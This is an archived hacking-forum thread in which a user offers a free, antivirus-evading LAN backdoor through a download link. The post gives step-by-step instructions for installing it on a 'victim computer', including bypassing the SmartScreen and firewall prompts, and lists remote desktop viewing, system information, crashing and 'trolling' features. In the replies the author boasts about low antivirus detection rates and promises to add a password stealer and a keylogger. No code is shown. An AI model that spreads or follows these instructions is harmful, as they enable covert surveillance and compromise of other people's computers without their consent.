+- Hack Forums (https://hackforums.net)
+-- Forum: Hacks, Exploits, and Various Discussions (https://hackforums.net/forumdisplay.php?fid=45)
+--- Forum: Blackhat • Red Team • Offensive Security (https://hackforums.net/forumdisplay.php?fid=447)
+---- Forum: Remote Administration Tools (https://hackforums.net/forumdisplay.php?fid=114)
+---- Thread: FUD/UD CUSTOM LAN BACKDOOR [FREE] (/showthread.php?tid=5549696)
FUD/UD CUSTOM LAN BACKDOOR [FREE] - kevy42 - Feb 12, 2017
NOTE: This is not binded or harmful in ANY way, if u don't believe me than go ahead run it in sandboxie, use your fancy .net reflector, OLLY DPG and Wireshark. You won't find SHIT.
I was reversing NJRAT the other day(just for the lolz) and i though to myself, "what if i made my own rat :O". That idea went nowhere since it's not the easiest of tasks, and im not the most patient guy ether. But I did manage to stable up this LAN backdoor, it uses a php webserver to host the backdoor. I don't have much use for it, so I decided to post it here so u guys can have some fun with it. Atm its 1 - 2/35 Scantime and 1/20 Runtime.
Now let me make this clear first. THIS IS NOT INTEDED TO BE A RAT REPLACEMENT, i only added a few features to satisfy your trolling/spying needs, so don't come to me saying that it dost have this. Or that.
DOWNLOAD LINK: http://www.filedropper.com/setup_60
If the download link isnt working, go though the comments,
i will be posting updates, new links and more info there.
Also, i would love to hear your feedback and comments🤗.
HOW TO USE:
1. Unzip it and Run it on the victim computer, you HAVE to run it on their desktop.
![[Image: GS4mys7.png]](https://i.imgur.com/GS4mys7.png)
2. Press "More Info on the SmartScreen prompt.
![[Image: WjLgJb3.png]](https://i.imgur.com/WjLgJb3.png)
3. Press "Run Anyways" on the SmartScreen Prompt.
![[Image: PJ2l6LC.png]](https://i.imgur.com/PJ2l6LC.png)
3. Wait until you get a firewall prompt.
4. Press "Allow" on the prompt.
![[Image: 9uFqm49.png]](https://i.imgur.com/9uFqm49.png)
5. Make sure the file you ran has deleted itself from the Desktop(this means it has successfully installed itself).
6. Open CMD and type ipconfig.
![[Image: lolzOpg.png]](https://i.imgur.com/lolzOpg.png)
7. Copy the Ipv4.
![[Image: 1DU3vI0.png]](https://i.imgur.com/1DU3vI0.png)
8. Open your web browser and goto the Ipv4 as URL with port 42069, like this: http://(Ipv4):42069.
![[Image: cLdzKnM.png]](https://i.imgur.com/cLdzKnM.png)
9. Enjoy 🎉, if you dont know what a button does, hover over it and it will tell you.
![[Image: Xc8tDRG.png]](https://i.imgur.com/Xc8tDRG.png)
FEATURES:
- View Desktop
- Network, Hardware/OS, Usage Information
- Shutdown, Reboot, Hibernate
- Troll
- Crash
- Disconnect
- Uninstall
DEPENDENCES:
- 64 Bit windows 8/10 ONLY
- The C:\ drive has to be your main Drive
- Anything besides a NAT connected network
- .net 2.0
* - The One Who Knocks - Feb 12, 2017
Posting here for later. I wanna see what this gets
* - ℭorruption - Feb 12, 2017
This does look nicely made. I will come back to this thread in few days to see what others are saying.
* - xZereus - Feb 12, 2017
Good work! Looks nice, made by a pro.
* - kevy42 - Feb 12, 2017
(Feb 12, 2017 03:23 PM)Mr. Source Wrote: This does look nicely made. I will come back to this thread in few days to see what others are saying.
thx thx :), to be honest i could make it alot better with a little bit of AJAX, but im lazy XD
(Feb 12, 2017 04:23 PM)xZereus Wrote: Good work! Looks nice, made by a pro.
dont know if im a pro, but thx for the compliment <3
ATM its only detected by TwisterAV, idfk how i managed to avade ESET, but it happened XD. before i had 2/35 with ESET
* - HexaCrypt - Feb 13, 2017
it looks really nice, can some one conform its safe to use.
* - CrackedKitten - Feb 13, 2017
Very Interesting, would love upload and execute but a very good start to a RAT
* - kevy42 - Feb 13, 2017
(Feb 13, 2017 03:42 AM)CrackedKitten Wrote: Very Interesting, would love upload and execute but a very good start to a RAT
thx <3, i actuly tryd adding upload/execute, but the PHP webserver im using atm is made to be extramly small, its only 10 MB, and i compress it down to about 4 MB.
therefore it dosnt use php.ini, it dosnt use any sort of ini files, so i cant set "allow file upload" to true, thats why i couldnt add uplaod/execute.
if u know ANY php webserver that is very small and compacket, but still uses the php.ini files, PLZ let me know :D
* - Purple Kief - Feb 13, 2017
Has anyone tested this? If so please do let me know.
* - kevy42 - Feb 13, 2017
(Feb 13, 2017 06:09 AM)Purple Kief Wrote: Has anyone tested this? If so please do let me know.
i can show u a demo on my VM if u wish
my skype: sakul_2014
* - lolamoomoo1 - Feb 13, 2017
Vouch, legit not binded, he put some time into it. i watched him do most of this lol,
* - 3azraiell - Feb 13, 2017
well nice i will give i try thanks for the share dude
* - kevy42 - Feb 13, 2017
(Feb 13, 2017 09:44 AM)3azraiell Wrote: well nice i will give i try thanks for the share dude
np :), ones it unFUD's i will add password stealer aswell, i cant atm sence the actual password stealer is 11/35 XD
1/35 only twister, practially 0/35, no one uses twister
![[Image: gOhxqDT.png]](https://i.imgur.com/gOhxqDT.png)
if anyone knows a php webserver thats very small, let me know :)
* - Rertr0 - Feb 14, 2017
Looks very cleanly made gonna check it out now. Should be good!!
* - kevy42 - Feb 14, 2017
(Feb 14, 2017 12:20 PM)Rertr0 Wrote: Looks very cleanly made gonna check it out now. Should be good!!
thx, as i said, i will be adding alot more ones it unFUD's, like password stealer, keylogger, website opener..etc